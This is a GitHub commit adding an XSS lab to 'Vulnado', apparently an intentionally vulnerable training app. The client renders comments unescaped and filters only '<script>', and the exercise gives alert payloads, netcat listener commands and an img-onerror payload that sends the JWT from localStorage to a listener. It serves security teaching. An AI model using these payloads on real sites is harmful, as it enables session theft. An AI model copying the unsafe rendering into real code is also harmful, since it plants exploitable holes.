Skip to content

Commit

Permalink
Added XSS exercise
Browse files Browse the repository at this point in the history
  • Loading branch information
Ryan committed Feb 21, 2019
1 parent a9edcb9 commit 8c903d1
Show file tree
Hide file tree
Showing 22 changed files with 628 additions and 63 deletions.
5 changes: 3 additions & 2 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -23,5 +23,6 @@
/nbdist/
/.nb-gradle/
/build/
.terraform
terraform.tfstate*
.terraform/*
terraform.tfstate
terraform.tfstate.lock
2 changes: 2 additions & 0 deletions client/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
FROM nginx:alpine
COPY . /usr/share/nginx/html
44 changes: 44 additions & 0 deletions client/css/main.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
body {
padding-top: 5rem;
}
.puppy {
padding: 3rem 1.5rem;
text-align: center;
}

.delete-comment {
float: right;
border-radius: 5px;
padding: 3px 9px 3px 9px;
}

.delete-comment:hover {
cursor: pointer;
background-color: red;
}
.form-control.top {
border-radius: .5em .5em 0 0
}

.form-control.bottom {
border-radius: 0 0 .5em .5em
}

.btn-block {
margin-top: 10px;
}

#signout {
display: block;
height: 32px;
width: 32px;
background-size:cover;
position:absolute;
right: 40px;
top: 20px;
background:url('../images/signout.png');
}
#signout:hover {
cursor: pointer;
background:url('../images/signout-hover.png');
}
Binary file added client/images/doggo.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added client/images/signout-hover.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added client/images/signout.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added client/images/trash.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
80 changes: 80 additions & 0 deletions client/index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="css/main.css" rel="stylesheet">
<title>Vulnado</title>
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top">
<a class="navbar-brand" href="index.html">Vulnado</a>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<div id="signout"></div>
</li>
</ul>
</div>
</nav>

<main role="main" class="container">

<div class="puppy">
<h1>Doggos4All</h1>
<p>Check out this adorable pupper, you should totally comment on it!</p>
<img src="images/doggo.jpg" height="358px">
</div>
<div class="container">
<div class="row">
<div class="col-sm-12">
<h2>Comments</h2>
</div><!-- /col-sm-12 -->
</div><!-- /row -->
<!--Template here -->
<div id="comments-container"></div>
</div>

<div class="row" style="padding-top:20px">
<div class="col-sm-12">
<div class="card p-2">
<div class="input-group">
<input type="text" id="new-comment" class="form-control" placeholder="Comment">
<div class="input-group-append">
<button id="submit-comment" class="btn btn-primary">Submit</button>
</div>
</div>
</div>
</div><!-- /col-sm-12 -->
</div><!--/row -->
</main><!-- /.container -->

<!-- Optional JavaScript -->
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<script src="http://builds.handlebarsjs.com.s3.amazonaws.com/handlebars.min-v4.1.0.js"></script>
<script src="js/index.js"></script>
<script id="comment-template" type="text/x-handlebars-template">
<div class="row" data-comment_id="{{id}}">
<div class="col-sm-12" style="padding:5px">
<div class="card">
<div class="card-header">
<strong>{{username}}</strong> commented at {{created_on}}
<span class="delete-comment">
<img src="images/trash.png" height=15px/>
</span>
</div>
<div class="card-body">
<p class="card-text">{{{body}}}</p>
</div>
</div>
</div><!-- /col-sm-12 -->
</div><!-- /row -->
</script>
</body>
</html>
67 changes: 67 additions & 0 deletions client/js/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
$(document).ready(function(){
var source = $("#comment-template").html();
var template = Handlebars.compile(source);

// Add JWT to every request
$.ajaxSetup({ beforeSend: function(xhr) {
xhr.setRequestHeader('x-auth-token', localStorage.jwt);
}});

// Helper Functions
function setupDeleteCommentHandler() {
// NOTE: This needs to come first since comments aren't loaded yet.
$('.delete-comment').click(function(){
var parent = this.closest(".row");
var id = $(parent).data("comment_id");

$.ajax({
type: "DELETE",
url: "http://localhost:8080/comments/" + id
}).done(function(){
$(parent).remove();
});
});
}

function fetchComments() {
$.get("http://localhost:8080/comments", function(data){
$('#comments-container').html('')
data.forEach(function(comment){
if (comment.body.indexOf("<script>") < 0) {
$("#comments-container").append(template(comment));
}
});
setupDeleteCommentHandler();
});
}

//Event Handlers
$('#submit-comment').click(function(){
var comment = $('#new-comment').val();
var username = localStorage.username;
$.ajax({
type: "POST",
url: "http://localhost:8080/comments",
data: JSON.stringify({username: username, body: comment}),
dataType: "json",
contentType: "application/json",
}).done(function(){
$('#new-comment').val('');
fetchComments();
});
});

$('#signout').click(function(){
alert("Goodbye!");
localStorage.jwt = '';
localStorage.username = '';
window.location.replace("login.html")
});

// Initialize
if (localStorage.getItem("jwt")){
fetchComments();
} else{
window.location.replace("login.html");
}
});
24 changes: 24 additions & 0 deletions client/js/login.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
$(document).ready(function(){
$("#btn-login").click(function(){
var username = $('#inputUsername').val();
var password = $('#inputPassword').val();
var payload = {username: username, password: password};

$.ajax({
type: 'POST',
url: "http://localhost:8080/login",
data: JSON.stringify(payload),
dataType: "json",
contentType: "application/json"
})
.fail(function(data){
alert("Whoops, try again");
})
.done(function(data){
localStorage.jwt = data.token;
var username = JSON.parse(atob(data.token.split('.')[1]))['sub'];
localStorage.username = username;
window.location.replace("index.html");
})
})
});
45 changes: 45 additions & 0 deletions client/login.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<title>Vulnado</title>

<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

<!-- Custom styles for this template -->
<link href="css/main.css" rel="stylesheet">
</head>

<body class="text-center">
<nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top">
<a class="navbar-brand" href="#">Vulnado</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
</nav>

<main role="main" class="container">
<div class="row">
<div class="col-sm-3"></div>
<div class="col-sm-6">
<div id="login-form" class="form-signin">
<h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
<input type="username" id="inputUsername" class="form-control top" placeholder="Username" required autofocus>
<input type="password" id="inputPassword" class="form-control bottom" placeholder="Password" required>
<button id="btn-login" class="btn btn-lg btn-primary btn-block">Sign in</button>
<p class="mt-5 mb-3 text-muted">&copy; 2019</p>
</div>
</div>
<div class="col-sm-3"></div>
</div>
</main>
</body>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<script src="http://builds.handlebarsjs.com.s3.amazonaws.com/handlebars.min-v4.1.0.js"></script>
<script src="js/login.js"></script>
</html>
5 changes: 5 additions & 0 deletions docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,11 @@ services:
depends_on:
- "db"

client:
build: client
ports:
- 1337:80

db:
image: postgres
environment:
Expand Down
80 changes: 80 additions & 0 deletions exercises/03-xss.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# XSS - Cross Site Scripting

XSS or Cross site scripting is one of the most common vulnerabilities and also one that plagues developers of client side applications in JavaScript. With so many frameworks out there, it becomes challenging to determine what is being rendered and how. A stored XSS attack is one in which an attacker is able to inject arbitrary JavaScript onto a page and have that JavaScript be rendered by another user.

This is especially dangerous on pages that have some type of authentication since authentication tokens can easily be sent to another site via JavaScript.

The best ways to prevent XSS are all cataloged here:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

**TL;DR: Sanitize all values just before you render them.**

Example:
You have an HTML template you would like to render with a username value as a `data` attribute such as this:

```
<div data-username="<%= @username %>">
...
</div>
```

If the user is able to update their username value, which is stored on the server, they could adjust the HTML to run their own scripts on others' computers on your site:

```
"><script>alert('pwned!')</script><div class="
```


# Lab

Navigate to http://localhost:1337 and you'll be presented with a login page. Now that we have `rick`'s password, let's use that to log into the site. Let's try adding some comments and see what we can do.

<details>
<summary>Answer</summary>

It turns out that the comment field is only minimally sanitized before the page renders. This is extremely common especially when sites want to allow users to insert their own HTML for things like adding photos, customizing rich text documents like blogs or creating branded emails.

As a test, what we can do is something like this:

```
<script>alert('pwned')</script>
```

We notice that the comment is not even rendered. We can open up the developer panel on the right and inspect the JavaScript for `index.js`. We notice that the developer only "sanitized" by removing the ablity for the script tag, but there are many other ways to execute an XSS attack.

For a fairly comprehensive listing of how this can be achieved, have a look at: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Now let's try something a bit more nasty. An alert is silly and fun but what if you wanted to make a quick and easy credential grab after you execute an XSS vulnerability.

In a terminal, let's start a `netcat` listener:

On Mac: `sudo nc -l 18200`
On Linux: `sudo nc -l -p 18200`
On Windows (as Administrator): `nc -l -p 18200`

Now let's try to grab the session token from localStorage (this could just as easily be `document.cookie`)

```
<img src="." onerror=$.get('http://localhost:18200/'+localStorage.jwt)>"
```

Since that HTML doesn't have `<script>` in it, it passes and renders creating an HTTP request to your listener on your localhost that looks something like this:

```
$ sudo nc -l 18200
OPTIONS /eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1
Host: localhost:18200
Connection: keep-alive
Access-Control-Request-Method: GET
Origin: null
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Access-Control-Request-Headers: x-auth-token
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
```

That bit after options is the valid [jwt](https://jwt.io) token sent via the URL path which will allow access to the site. As an attacker, all you have to do is set your own `localStorage.jwt` value to that string in your browser and you're in without even needing to knowing the password. That being said, for most sessions, you'll only have access until the session has timed out, but for many sites, this is plenty of time to do significant damage.

**Followup Question** What are some ways you can think of to add security controls to prevent damage even if a session token is compromised?
</details>
17 changes: 17 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,23 @@
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.10.5</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.10.5</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.10.5</version>
<scope>runtime</scope>
</dependency>
</dependencies>

<build>
Expand Down
Loading

0 comments on commit 8c903d1

Please sign in to comment.